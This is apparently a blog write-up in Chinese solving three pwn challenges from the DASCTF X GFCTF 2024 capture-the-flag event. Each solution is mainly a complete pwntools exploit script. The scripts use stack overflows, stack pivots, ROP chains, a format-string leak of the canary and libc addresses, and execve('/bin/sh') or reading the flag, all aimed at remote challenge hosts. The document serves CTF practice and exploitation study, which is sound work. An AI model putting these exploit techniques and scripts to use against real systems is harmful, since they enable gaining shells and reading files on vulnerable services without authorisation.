# [DASCTF X GFCTF 2024 | 四月开启第一局] pwn_wp

# Control

IDA 识别有点问题,重新识别后是个静态链接的题目。能拿到 syscall 的地址,而且没有开沙箱,所以想到直接 syscall 来 execve ('/bin/sh',0,0).
利用栈溢出漏洞就需要通过 exception 的 catch。但是好像程序定位 catch 段是依靠 ret 的地址的,所以程序返回地址就不能修改了,所以只修改一个 rbp 指向的数值就栈迁移了。
但是迁移到 gift 那里 0x10 太小,所以看到 main 函数读取 gift 的时候是先设置 rdx 之后再设置的 rdi 和 rsi,所以直接从 0x402221 那里开始执行就行。
同时程序有一个 gadget 就是 mov rdx,QWORD PTR [rsi-0x8]; mov QWORD PTR [rdi-0x8],rdx; ret;
而且此时程序的 [rsi-0x8]=0x91,于是就能把 rdx 赋值为 0x91,之后就能接着往 gift 之后 ROP 链子了,自然就 get shell 了。

n
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './control'
p=remote('node5.buuoj.cn',29425)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./control')
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
pop_rdi=0x401c72
pop_rsi=0x405285
pop_rdx=0x401aff
pop_rax=0x462c27
syscall=0x40161e
gift=0x4D3350
read_a=0x402221
mov_rdx_91=0x446200
p.recvuntil('Gift>')
payload1=p64(mov_rdx_91)+p64(read_a)
p.send(payload1)
p.recvuntil('How much do you know about control?')
payload2=b'a'*0x70+p64(gift-8)+p64(0x402237)
p.send(payload2)
payload3=b'\x00'*8+p64(pop_rdi)+p64(0x4d33a8)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall)+p64(0)+b"/bin/sh\x00"
pause()
p.send(payload3)
p.interactive()

# Exception

格式化字符串漏洞可以拿到 libc 基址,elf 基址,栈地址和函数的 canary。之后就是正常栈溢出打就行。

n
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './exception'
p=remote('node5.buuoj.cn',29424)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./exception')
# gdb.attach(p,'b *$rebase(0x01448)')
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
off=6
p.sendlineafter("please tell me your name",'%7$p%8$p%9$p%11$p')
# canary stack  elf    libc 
#  
p.recvuntil('0x')
can=int(p.recv(16),16)
p.recv(2)
stk_base=int(p.recv(12),16)-(0x7ffd6eb95250-0x7ffd6eb77000)
p.recv(2)
elf_base=int(p.recv(12),16)-(0x6385d7ede480-0x6385d7edd000 )
p.recv(2)
libc_base=int(p.recv(12),16)-(0x7751f3bac083-0x7751f3b88000)
print(hex(can))
print(hex(stk_base))
print(hex(elf_base))
print(hex(libc_base))
sh=libc_base+0x1b45bd
syst=libc_base+0x52290
pop_rdi=libc_base+0x023b6a
pop_rsi=libc_base+0x2601f
pop_rdx2=libc_base+0x15fae6
p.recvuntil("where is the stack")
p.recvuntil('0x')
addr=int(p.recv(12),16)
bp=addr-(0x7fff2b69c5d0)+0x7fff2b69c670
pay=b'a'*0x68+p64(can)+p64(bp)+p64(elf_base+0x1408)+p64(0)+p64(can)+p64(0)*3+p64(elf_base+0x101a)+p64(pop_rdi)+p64(sh)+p64(pop_rsi)+p64(0)+p64(pop_rdx2)+p64(0)*2+p64(libc_base+0xE3170)
p.sendlineafter("How much do you know about exception?",pay)
p.interactive()

# dynamic_but_static

远程 libc 版本和附件的 libc 版本不一样,经过查偏移之后得到只有 open64 函数的偏移不同,所以只要在本地 payload 基础上改一个 open64 的地址就行。
正常栈溢出,但是为了防止之后的 payload 被过滤,自己栈迁移写了 read 函数再次读入 payload 并且执行。

n
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
p=remote('node5.buuoj.cn',25842)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# gdb.attach(p,'b *0x401482')
pop_rdi=0x401381
puts=0x4010d0
main=0x401386
read_a=0x401100
setbuf=0x404038
off=0x87fe0
pop_rbp=0x4011ed
lr=0x401482
payload=p64(pop_rdi)+p64(setbuf)+p64(puts)+p64(pop_rdi)+p64(0)+p64(main)
p.sendline(b'a'*0x38+payload)
libc_base=u64(p.recv(6)+b'\x00\x00')-(0x00007ffff7c87fe0-0x7ffff7c00000)
pop_rsi=libc_base+0x2be51
pop_rdx=libc_base+0x0796a2
open64=libc_base+	0x1146d0
write_a=libc_base+0x114680
sendfile=libc_base+0x118f80
read1=libc_base+0x1145e0
print(hex(libc_base))
push_rax=libc_base+0x41563
pop_rax=libc_base+0x045eb0
opendir=libc_base+0xe6280
readdir=libc_base+0xe6680
syscall=libc_base+0x114059
newbuf=0x404000+0x500
open_rdi=0x0FFFFFF9C
gad=libc_base+0x1194fe
payload=b'a'*0x38+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(newbuf)+p64(pop_rdx)+p64(0x500)+p64(read_a)+p64(pop_rbp)+p64(newbuf)+p64(lr)
pause()
val=0x407c20
p.sendline(payload)
getrax=paylaod=b'./flag\x00\x00'+p64(pop_rdi)+p64(newbuf)+p64(pop_rsi)+p64(0)+p64(open64)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(newbuf+0x100)+p64(pop_rdx)+p64(0x500)+p64(read_a)+p64(pop_rbp)+p64(newbuf+0x100)+p64(lr)
pause()
p.sendline(getrax)
pause()
pay=p64(newbuf+0x400)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(newbuf-0x50)+p64(pop_rdx)+p64(0x100)+p64(read_a)+p64(pop_rdi)+p64(newbuf-0x50)+p64(puts)
p.sendline(pay)
p.interactive()
Edited on Views times

Give me a cup of [卡布奇诺]~( ̄▽ ̄)~*

Zchared WeChat Pay

WeChat Pay

Zchared Alipay

Alipay

Zchared PayPal

PayPal